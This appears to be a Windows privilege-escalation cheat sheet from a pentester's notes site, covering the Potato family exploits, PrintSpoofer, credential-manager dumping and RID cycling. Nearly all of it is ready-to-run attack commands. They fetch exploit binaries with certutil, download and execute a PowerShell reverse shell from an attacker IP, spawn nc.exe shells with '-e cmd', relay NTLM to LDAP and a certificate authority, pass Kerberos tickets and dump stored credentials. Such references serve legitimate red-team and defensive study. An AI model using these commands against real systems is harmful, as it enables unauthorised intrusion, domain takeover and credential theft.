## JuicyPotato

* <https://ohpe.it/juicy-potato/>
* <https://ohpe.it/juicy-potato/CLSID/>
* <https://github.com/ohpe/juicy-potato/releases>
* <https://github.com/ivanitlearning/Juicy-Potato-x86/releases>

```
$ curl -L https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe > j.exe
...Using pwsh reverse shell...
$ curl -L https://github.com/samratashok/nishang/raw/master/Shells/Invoke-PowerShellTcpOneLine.ps1 > rev.ps1
Cmd > certutil -urlcache -split -f http://10.10.13.37/j.exe C:\Windows\System32\spool\drivers\color\j.exe
Cmd > echo cmd /c powershell -exec bypass -nop -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.13.37/rev.ps1')" > rev.bat
Cmd > .\j.exe -t * -c {8BC3F05E-D86B-11D0-A075-00C04FB68820} -l 1337 -p C:\Windows\System32\spool\drivers\color\rev.bat
...Using nc.exe...
Cmd > .\j.exe -t * -c {8BC3F05E-D86B-11D0-A075-00C04FB68820} -l 1337 -p C:\Windows\System32\spool\drivers\color\nc.exe "10.10.13.37 1337 -e cmd"
```

## RoguePotato

* <https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/>
* <https://github.com/antonioCoco/RoguePotato/releases>

Redirect traffic that comes to 135 port on Attacker (`10.10.13.37`) with `socat` back to the Victim (`192.168.1.11`) on port 9999 (RogueOxidResolver is running locally on port 9999 on Victim):

```
$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:192.168.1.11:9999
```

Trigger the potato to run a binary with high privileges (don't forget to start a listener if sending a reverse shell):

```
Cmd > .\RoguePotato.exe -r 10.10.13.37 -e "C:\windows\Temp\nc.exe 10.10.13.37 443 -e cmd" -l 9999
```

## RemotePotato0

* <https://www.sentinelone.com/labs/relaying-potatoes-another-unexpected-privilege-escalation-vulnerability-in-windows-rpc-protocol/>
* <https://github.com/antonioCoco/RemotePotato0/releases>

Get session ID of the user to pwn:

```
Cmd > query user
Cmd > quser
```

Hashes collector (modes 2, 3):

```
$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:192.168.1.11:9998
Cmd > .\RemotePotato0.exe -m 2 -x 10.10.13.37 -p 9998 -s 5
```

Cross-protocol relay (modes 0, 1):

```
$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:192.168.1.11:9998
$ ntlmrelayx.py -t ldap://192.168.1.11 --escalate-user snovvcrash --no-smb-server --no-wcf-server --no-raw-server
Cmd > .\RemotePotato0.exe -m 0 -r 10.10.13.37 -x 10.10.13.37 -p 9998 -s 5
```

[Combining](https://twitter.com/0xcsandker/status/1430111652008112131) with ESC8:

```
$ ntlmrelayx.py -t http://CA01.megacorp.local/certsrv/certfnsh.asp --adcs --template User --no-smb-server --no-wcf-server --no-raw-server
Cmd > .\RemotePotato0.exe -m 0 -r 10.10.13.37 -x 10.10.13.37 -p 9998 -s 5 -c "{f8842f8e-dafe-4b37-9d38-4e0714a61149}"
Cmd > .\Rubeus.exe asktgt /user:snovvcrash /domain:megacorp.local /dc:DC1.megacorp.local /certificate:<BASE64_PFX_CERT> /ptt
```

## GenericPotato

* <https://micahvandeusen.com/the-power-of-seimpersonation/>
* <https://github.com/micahvandeusen/GenericPotato>

## EfsPotato

* <https://github.com/zcgonvh/EfsPotato>

## Tools

### SweetPotato

* <https://github.com/CCob/SweetPotato>

```
Cmd > .\SweetPotato.exe -p C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -a "-w hidden -enc <BASE64_CMD>"
```

### MultiPotato

* <https://github.com/S3cur3Th1sSh1t/MultiPotato>


# PrintSpoofer

* <https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/>
* <https://github.com/itm4n/PrintSpoofer>
* <https://github.com/S3cur3Th1sSh1t/PowerSharpPack/blob/master/PowerSharpBinaries/Invoke-BadPotato.ps1>

Check if Print Spooler service is running:

```
PS > Get-Service Spooler

Status   Name               DisplayName
------   ----               -----------
Running  Spooler            Print Spooler
```

Exploit:

```
PS > . .\Invoke-BadPotato.ps1; Invoke-BadPotato -C "C:\Users\snovvcrash\music\pwn.exe"
```

## C# Implementation

* <https://github.com/itm4n/PrintSpoofer/blob/master/PrintSpoofer/PrintSpoofer.cpp>
* <https://github.com/S3cur3Th1sSh1t/NamedPipePTH/blob/main/Resources/PipeServerImpersonate/PipeServer.cpp>
* <https://github.com/S3cur3Th1sSh1t/SharpNamedPipePTH/blob/16f8f7a90a543a0f5a3f70d3d02e8f120273e6ed/SharpNamedPipePTH/PipeServerImpersonate.cs>
* <https://github.com/chvancooten/OSEP-Code-Snippets/tree/main/PrintSpoofer.NET>


# SeTrustedCredmanAccess

* <https://www.tiraniddo.dev/2021/05/dumping-stored-credentials-with.html>

## Tools

* <https://github.com/jsecu/CredManBOF>

### BackupCreds

* <https://github.com/leftp/BackupCreds>

```
Cmd > .\BackupCreds.exe <EXPLORER_PID> C:\Windows\Temp\creds.txt
```


# RID Cycling

Relative Identifier

* <https://www.trustedsec.com/blog/new-tool-release-rpc_enum-rid-cycling-attack/>

Perform RID cycling attack against a DC with SMB null sessions allowed with [lookupsid.py](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py):

```
$ lookupsid.py MEGACORP/snovvcrash:'Passw0rd!'@127.0.0.1 20000 [-domain-sids] | tee ~/ws/log/lookupsid.out
$ cat ~/ws/log/lookupsid.out | grep SidTypeUser | grep -v -e krbtgt -e '\$' -e '{' -e '}' -e HealthMailbox | grep -Ev 'SM_[a-f0-9]{17}' | awk -F'\' '{print $2}' | awk '{print $1}' | perl -nle 'print if m{^[[:ascii:]]+$}' > ~/ws/enum/all-users.txt
```

With CrackMapExec:

```
$ cme smb 192.168.1.11 -u '' -p '' --users
```




---

[Next Page](/llms-full.txt/1)

